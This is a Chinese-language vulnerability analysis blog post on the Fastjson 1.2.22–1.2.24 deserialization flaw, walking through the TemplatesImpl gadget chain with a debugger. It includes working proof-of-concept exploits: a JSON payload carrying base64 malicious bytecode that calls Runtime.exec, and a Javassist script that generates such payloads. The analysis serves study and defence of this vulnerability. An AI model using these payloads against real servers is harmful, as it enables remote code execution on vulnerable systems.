Java安全之Fastjson反序列化漏洞分析

Java安全之Fastjson反序列化漏洞分析

首发:先知论坛

0x00 前言

在前面的RMI和JNDI注入学习里面为本次的Fastjson打了一个比较好的基础。利于后面的漏洞分析。

0x01 Fastjson使用

在分析漏洞前,还需要学习一些Fastjson库的简单使用。

Fastjson概述

FastJson是啊里巴巴的的开源库,用于对JSON格式的数据进行解析和打包。其实简单的来说就是处理json格式的数据的。例如将json转换成一个类。或者是将一个类转换成一段json数据。在我前面的学习系列文章中其实有用到jackson。其作用和Fastjson差不多,都是处理json数据。可参考该篇文章:Java学习之jackson篇。其实在jackson里面也是存在反序列化漏洞的,这个后面去分析,这里不做赘述。

Fastjson使用

使用方式:

//序列化
String text = JSON.toJSONString(obj); 
//反序列化
VO vo = JSON.parse(); //解析为JSONObject类型或者JSONArray类型
VO vo = JSON.parseObject("{...}"); //JSON文本解析成JSONObject类型
VO vo = JSON.parseObject("{...}", VO.class); //JSON文本解析成VO.class类

Fastjson序列化

代码实例:

定义一个实体类

package com.fastjson.demo;

public class User {
    private String name;
    private int age;

    public User() {
    }

    @Override
    public String toString() {
        return "User{" +
                "name='" + name + '\'' +
                ", age=" + age +
                '}';
    }

    public String getName() {
        return name;
    }

    public void setName(String name) {
        this.name = name;
    }

    public int getAge() {
        return age;
    }

    public void setAge(int age) {
        this.age = age;
    }

    public User(String name, int age) {
        this.name = name;
        this.age = age;
    }
}

定义一个test类:

package com.fastjson.demo;

import com.alibaba.fastjson.JSON;

public class test {
    public static void main(String[] args) {
        User user = new User();
        user.setAge(18);
        user.setName("xiaoming");
        String s = JSON.toJSONString(user);
        System.out.println(s);


    }
}

运行后结果为:

{"age":18,"name":"xiaoming"}

这是一段标准模式下的序列化成JSON的代码,下面来看另一段。

package com.fastjson.demo;

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.serializer.SerializerFeature;

public class test {
    public static void main(String[] args) {
        User user = new User();
        user.setAge(18);
        user.setName("xiaoming");
//        String s = JSON.toJSONString(user);
//        System.out.println(s);

        String s1 = JSON.toJSONString(user, SerializerFeature.WriteClassName);
        
        System.out.println(s1);
    }
}

执行结果:

{"@type":"com.fastjson.demo.User","age":18,"name":"xiaoming"}

在和前面代码做对比后,可以发现其实就是在调用toJSONString方法的时候,参数里面多了一个SerializerFeature.WriteClassName方法。传入SerializerFeature.WriteClassName可以使得Fastjson支持自省,开启自省后序列化成JSON的数据就会多一个@type,这个是代表对象类型的JSON文本。FastJson的漏洞就是他的这一个功能去产生的,在对该JSON数据进行反序列化的时候,会去调用指定类中对于的get/set/is方法, 后面会详细分析。

Fastjson反序列化

代码实例:

方式一:

package com.fastjson.demo;

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.serializer.SerializerFeature;

public class test {
    public static void main(String[] args) {
        User user = new User();
        user.setAge(18);
        user.setName("xiaoming");
        String s = JSON.toJSONString(user);
//        System.out.println(s);
        User user1 = JSON.parseObject(s, User.class);
        System.out.println(user1);
    }
}

方式二:

package com.fastjson.demo;

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.JSONObject;
import com.alibaba.fastjson.serializer.SerializerFeature;

public class test {
    public static void main(String[] args) {
        User user = new User();
        user.setAge(18);
        user.setName("xiaoming");



        String s1 = JSON.toJSONString(user, SerializerFeature.WriteClassName);
        JSONObject jsonObject = JSON.parseObject(s1);
        System.out.println(jsonObject);

        
    }
}

这种方式返回的是一个JSONObject的对象

方式三:

package com.fastjson.demo;

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.serializer.SerializerFeature;

public class test {
    public static void main(String[] args) {
        User user = new User();
        user.setAge(18);
        user.setName("xiaoming");

        String s1 = JSON.toJSONString(user, SerializerFeature.WriteClassName);
        User user1 = JSON.parseObject(s1,User.class);
        System.out.println(user1);

    }
}

执行结果都是一样的

User{name='xiaoming', age=18}

这三段代码中,可以发现用了JSON.parseObjectJSON.parse这两个方法,JSON.parseObject方法中没指定对象,返回的则是JSONObject的对象。JSON.parseObjectJSON.parse这两个方法差不多,JSON.parseObject的底层调用的还是JSON.parse方法,只是在JSON.parse的基础上做了一个封装。

在序列化时,FastJson会调用成员对应的get方法,被private修饰且没有get方法的成员不会被序列化,

而反序列化的时候在,会调用了指定类的全部的setterpublibc修饰的成员全部赋值。可以在实体类的get、set方法中加入打印内容,可自行测试一下。

0x02 Fastjson反序列化漏洞复现

漏洞是利用fastjson autotype在处理json对象的时候,未对@type字段进行完全的安全性验证,攻击者可以传入危险类,并调用危险类连接远程rmi主机,通过其中的恶意类执行代码。攻击者通过这种方式可以实现远程代码执行漏洞的利用,获取服务器的敏感信息泄露,甚至可以利用此漏洞进一步对服务器数据进行修改,增加,删除等操作,对服务器造成巨大的影响。

漏洞攻击方式

在Fastjson这个反序列化漏洞中是使用TemplatesImplJdbcRowSetImpl构造恶意代码实现命令执行,TemplatesImpl这个类,想必前面调试过这么多链后,对该类也是比较熟悉。他的内部使用的是类加载器,去进行new一个对象,这时候定义的恶意代码在静态代码块中,就会被执行。再来说说后者JdbcRowSetImpl是需要利用到前面学习的JNDI注入来实现攻击的。

漏洞复现

漏洞版本:fastjson 1.22-1.24

利用链:TemplatesImpl

这里做一个简单的demo

构造恶意类:

package nice0e3;

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.Feature;
import com.alibaba.fastjson.parser.ParserConfig;

public class fj_poc {
    public static void main(String[] args) {
        ParserConfig config = new ParserConfig();
        String text = "{\"@type\":\"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\",\"_bytecodes\":[\"yv66vgAAADIANAoABwAlCgAmACcIACgKACYAKQcAKgoABQAlBwArAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBAAtManNvbi9UZXN0OwEACkV4Y2VwdGlvbnMHACwBAAl0cmFuc2Zvcm0BAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIZG9jdW1lbnQBAC1MY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTsBAAhpdGVyYXRvcgEANUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7AQAHaGFuZGxlcgEAQUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7AQByKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO1tMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIaGFuZGxlcnMBAEJbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjsHAC0BAARtYWluAQAWKFtMamF2YS9sYW5nL1N0cmluZzspVgEABGFyZ3MBABNbTGphdmEvbGFuZy9TdHJpbmc7AQABdAcALgEAClNvdXJjZUZpbGUBAAlUZXN0LmphdmEMAAgACQcALwwAMAAxAQAEY2FsYwwAMgAzAQAJanNvbi9UZXN0AQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAEAE2phdmEvaW8vSU9FeGNlcHRpb24BADljb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvVHJhbnNsZXRFeGNlcHRpb24BABNqYXZhL2xhbmcvRXhjZXB0aW9uAQARamF2YS9sYW5nL1J1bnRpbWUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7AQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwAhAAUABwAAAAAABAABAAgACQACAAoAAABAAAIAAQAAAA4qtwABuAACEgO2AARXsQAAAAIACwAAAA4AAwAAABEABAASAA0AEwAMAAAADAABAAAADgANAA4AAAAPAAAABAABABAAAQARABIAAQAKAAAASQAAAAQAAAABsQAAAAIACwAAAAYAAQAAABcADAAAACoABAAAAAEADQAOAAAAAAABABMAFAABAAAAAQAVABYAAgAAAAEAFwAYAAMAAQARABkAAgAKAAAAPwAAAAMAAAABsQAAAAIACwAAAAYAAQAAABwADAAAACAAAwAAAAEADQAOAAAAAAABABMAFAABAAAAAQAaABsAAgAPAAAABAABABwACQAdAB4AAgAKAAAAQQACAAIAAAAJuwAFWbcABkyxAAAAAgALAAAACgACAAAAHwAIACAADAAAABYAAgAAAAkAHwAgAAAACAABACEADgABAA8AAAAEAAEAIgABACMAAAACACQ=\"],'_name':'a.b','_tfactory':{ },\"_outputProperties\":{ }}";
        Object obj = JSON.parseObject(text, Object.class, config, Feature.SupportNonPublicField);
    }
}

执行成功,_bytecodes对应的数据里面可以看到是Base64编码的数据,这数据其实是下面这段代码,编译后进行base64加密后的数据。

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;

import java.io.IOException;

public class Test extends AbstractTranslet {
    public Test() throws IOException {
        Runtime.getRuntime().exec("calc");
    }

    @Override
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) {
    }

    @Override
    public void transform(DOM document, com.sun.org.apache.xml.internal.serializer.SerializationHandler[] handlers) throws TransletException {

    }

    public static void main(String[] args) throws Exception {
        Test t = new Test();
    }
}

但是在使用运用中个人觉得更倾向于这个poc

package com.nice0e3;

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.Feature;
import com.alibaba.fastjson.parser.ParserConfig;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.net.util.Base64;

public class gadget {

        public static class test{
        }

        public static void main(String[] args) throws Exception {
            ClassPool pool = ClassPool.getDefault();
            CtClass cc = pool.get(test.class.getName());

            String cmd = "java.lang.Runtime.getRuntime().exec(\"calc\");";

            cc.makeClassInitializer().insertBefore(cmd);

            String randomClassName = "nice0e3"+System.nanoTime();
            cc.setName(randomClassName);

            cc.setSuperclass((pool.get(AbstractTranslet.class.getName())));


            try {
                byte[] evilCode = cc.toBytecode();
                String evilCode_base64 = Base64.encodeBase64String(evilCode);
                final String NASTY_CLASS = "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";
                String text1 = "{"+
                        "\"@type\":\"" + NASTY_CLASS +"\","+
                        "\"_bytecodes\":[\""+evilCode_base64+"\"],"+
                        "'_name':'a.b',"+
                        "'_tfactory':{ },"+
                        "'_outputProperties':{ }"+
                        "}\n";

                System.out.println(text1);

                ParserConfig config = new ParserConfig();
                Object obj = JSON.parseObject(text1, Object.class, config, Feature.SupportNonPublicField);
            } catch (Exception e) {
                e.printStackTrace();
            }
        }

}

使用Javassist动态生成恶意类放到_bytecodes中。这里发现几个问题,

  1. 如果是只对_bytecodes插入恶意代码为什么需要构造这么多的值。
  2. _bytecodes中的值为什么需要进行Base64加密。
  3. 在反序列化的时候为什么要加入Feature.SupportNonPublicField参数值。
  • @type :用于存放反序列化时的目标类型,这里指定的是TemplatesImpl这个类,Fastjson会按照这个类反序列化得到实例,因为调用了getOutputProperties方法,实例化了传入的bytecodes类,导致命令执行。需要注意的是,Fastjson默认只会反序列化public修饰的属性,outputProperties和_bytecodes由private修饰,必须加入Feature.SupportNonPublicField 在parseObject中才能触发;

  • _bytecodes:继承AbstractTranslet 类的恶意类字节码,并且使用Base64编码

  • _name:调用getTransletInstance 时会判断其是否为null,为null直接return,不会往下进行执行,利用链就断了,可参考cc2和cc4链。

  • _tfactory:defineTransletClasses 中会调用其getExternalExtensionsMap 方法,为null会出现异常,但在前面分析jdk7u21链的时候,部分jdk并未发现该方法。

  • outputProperties:漏洞利用时的关键参数,由于Fastjson反序列化过程中会调用其getOutputProperties 方法,导致bytecodes字节码成功实例化,造成命令执行。

前面说到的之所以加入Feature.SupportNonPublicField才能触发是因为Feature.SupportNonPublicField的作用是支持反序列化使用非public修饰符保护的属性,在Fastjson中序列化private属性。

来查看一下TemplatesImpl

这里可以看到这几个成员变量都是private进行修饰的。不使用Feature.SupportNonPublicField参数则无法反序列化成功,无法进行利用。

由此可见Fastjson中使用TemplatesImpl链的条件比较苛刻,因为在Fastjson中需要加入Feature.SupportNonPublicField,而这种方式并不多见。

0x03 Fastjson TemplatesImpl链 反序列化漏洞分析

下断点开始跟踪漏洞

public static <T> T parseObject(String input, Type clazz, ParserConfig config, Feature... features) {
        return parseObject(input, clazz, config, (ParseProcess)null, DEFAULT_PARSER_FEATURE, features);
    }

这里有几个参数传入,并直接调用了parseObject的重载方法。

几个参数分别是input、clazz、config、features。

input传递进来的是需要反序列化的数据,这里即是我们的payload数据。

clazz为指定的对象,这里是Object.class对象

config则是ParserConfig的实例对象

features参数为反序列化反序列化private属性所用到的一个参数。

实例化了一个DefaultJSONParser,并调用parseObject方法,跟踪parseObject

调用derializer.deserialze方法进行跟踪。

来看到这一段代码,这里是个三目运算,type是否为Class对象并且type不等于 Object.class,type不等于

Serializable.class条件为true调用parser.parseObject,条件为flase调用parser.parse。很显然这里会调用parser.parse方法。继续跟踪。

这里将this.lexer的值,赋值给lexer,而这个this.lexer是在实例化DefaultJSONParser 对象的时候被赋值的。回看我们代码中的DefaultJSONParser 被创建的时候。

public DefaultJSONParser(String input, ParserConfig config, int features) {
    this(input, new JSONScanner(input, features), config);
}

调用重载方法

public DefaultJSONParser(Object input, JSONLexer lexer, ParserConfig config) {
    this.dateFormatPattern = JSON.DEFFAULT_DATE_FORMAT;
    this.contextArrayIndex = 0;
    this.resolveStatus = 0;
    this.extraTypeProviders = null;
    this.extraProcessors = null;
    this.fieldTypeResolver = null;
    this.lexer = lexer;
    this.input = input;
    this.config = config;
    this.symbolTable = config.symbolTable;
    int ch = lexer.getCurrent();
    if (ch == '{') {
        lexer.next();
        ((JSONLexerBase)lexer).token = 12;
    } else if (ch == '[') {
        lexer.next();
        ((JSONLexerBase)lexer).token = 14;
    } else {
        lexer.nextToken();
    }

}

这里面去调用 lexer.getCurrent()跟踪代码发现就是从lexer返回ch的值。而下面的这段代码

int ch = lexer.getCurrent();
    if (ch == '{') {
        lexer.next();
        ((JSONLexerBase)lexer).token = 12;
    } else if (ch == '[') {
        lexer.next();
        ((JSONLexerBase)lexer).token = 14;
    } else {
        lexer.nextToken();
    }

调用lexer.getCurrent(),获取到是ch中数据如果为{就将lexer.token设置为12,如果为[设置 lexer.token设置为14。

调用lexer.getCurrent(),获取当前字符这里获取到的是双引号。lexer这个是JSONScanner实例化对象,里面存储了前面传入的Json数据,但是这里疑问又来了,既然是Json的数据,那么前面的{去哪了呢?为什么这里获取到的不是这个{花括号。

还记得我们前面加载DefaultJSONParser重载方法的时候new JSONScanner(),跟踪查看他的构造方法就知道了

public JSONScanner(String input, int features) {
        super(features);
        this.text = input;
        this.len = this.text.length();
        this.bp = -1;
        this.next();
        if (this.ch == '\ufeff') {
            this.next();
        }

    }

构造方法里面调用了this.next();

public final char next() {
        int index = ++this.bp;
        return this.ch = index >= this.len ? '\u001a' : this.text.charAt(index);
    }

返回com.alibaba.fastjson.parser.DefaultJSONParser#parse进行跟踪代码。

public Object parse(Object fieldName) {
        JSONLexer lexer = this.lexer;
        switch(lexer.token()) {
        case 1:
        case 5:
        case 10:
        case 11:
        case 13:
        case 15:
        case 16:
        case 17:
        case 18:
        case 19:
        ...
        case 12:
        JSONObject object = new JSONObject(lexer.isEnabled(Feature.OrderedField));
        return this.parseObject((Map)object, fieldName);

通过刚刚的分析得知这里的lexer.token()等于12会走到 case 12:这里

调用this.parseObject继续跟踪

这里可以看到获取下一个字符是否为双引号,而后去调用lexer.scanSymbol方法进行提取对应内容数据。

查看一下参数this.symbolTable

这里则是提取了@type

接着走到这个地方

if (key == JSON.DEFAULT_TYPE_KEY && !lexer.isEnabled(Feature.DisableSpecialKeyDetect)) {
    ref = lexer.scanSymbol(this.symbolTable, '"');
    Class<?> clazz = TypeUtils.loadClass(ref, this.config.getDefaultClassLoader());
   

判断key是否等于@type,等于则获取@type中的值,接着则是调用反射将这个类名传递进去获取一个方法获取类对象。

下面走到这段代码

 ObjectDeserializer deserializer = this.config.getDeserializer(clazz);
 thisObj = deserializer.deserialze(this, clazz, fieldName);

跟踪,加载两次重载来到这里

上面的代码中直接就获取到了outputProperties跟踪一下,sortedFieldDeserializers.fieldInfo是怎么被赋值的。

查看发现是在构造方法被赋值的,也就是实例化对象的时候

public JavaBeanDeserializer(ParserConfig config, JavaBeanInfo beanInfo) {
    this.clazz = beanInfo.clazz;
    this.beanInfo = beanInfo;
    this.sortedFieldDeserializers = new FieldDeserializer[beanInfo.sortedFields.length];
    int i = 0;

    int size;
    FieldInfo fieldInfo;
    FieldDeserializer fieldDeserializer;
    for(size = beanInfo.sortedFields.length; i < size; ++i) {
        fieldInfo = beanInfo.sortedFields[i];
        fieldDeserializer = config.createFieldDeserializer(config, beanInfo, fieldInfo);
        this.sortedFieldDeserializers[i] = fieldDeserializer;
    }

返回上层,JavaBeanDeserializer是在this.config.getDeserializer被创建的,跟进一下

return this.getDeserializer((Class)type, type);

derializer = this.createJavaBeanDeserializer(clazz, (Type)type);

beanInfo = JavaBeanInfo.build(clazz, type, this.propertyNamingStrategy);

boolean match = this.parseField(parser, key, object, type, fieldValues);

接着来到了com.alibaba.fastjson.util.JavaBeanInfo#build

下面有几个关键代码

在通过@type获取类之后,通过反射拿到该类所有的方法存入methods,接下来遍历methods进而获取get、set方法

set的查找方式:

  1. 方法名长度大于4
  2. 非静态方法
  3. 返回值为void或当前类
  4. 方法名以set开头
  5. 参数个数为1

get的查找方式:

  1. 方法名长度大于等于4
  2. 非静态方法
  3. 以get开头且第4个字母为大写
  4. 无传入参数
  5. 返回值类型继承自Collection Map AtomicBoolean AtomicInteger AtomicLong

这样一来就获取到了TemplatesImplgetOutputProperties()

返回com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer#deserialze继续调试跟踪

前面都是重复的内容,遍历去获取json中的内容。

直接定位到这一步进行跟踪

替换_字符为空

执行完成后回到 com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer# parseField来到这一步

进行反射调用执行TemplatesImplgetOutputProperties()方法。

接着则来到了这里

transformer = new TransformerImpl(getTransletInstance(), _outputProperties,
    _indentNumber, _tfactory);

到了这里其实也就不用跟了,和前面的JDK7u21后半段的链是一样的。

在这命令就执行成功了,但是我们还有一个遗留下来的问题没有解答,就是_bytecodes为什么需要进行base64编码的问题,也是分析的时候跟踪漏了。

返回com.alibaba.fastjson.parser.DefaultJSONParser#parseObject查看

在解析byte数据的时候回去调用this.lexer.bytesValue();,跟踪就会看见会调用IOUtils.decodeBase64进行base64解密

贴出调用链

0x04 结尾

看到网上部分分析文章,分析漏洞只分析了几个点。直接就在某个地方下断点,然后跳到某一个关键位置的点进行分析,很多数据的流向都不清楚是怎么来的。所以漏洞的一些细节都没去进行了解过,所以漏洞真的分析清楚了嘛?

posted @ 2021-03-31 15:25  nice_0e3  阅读(11116)  评论(2编辑  收藏  举报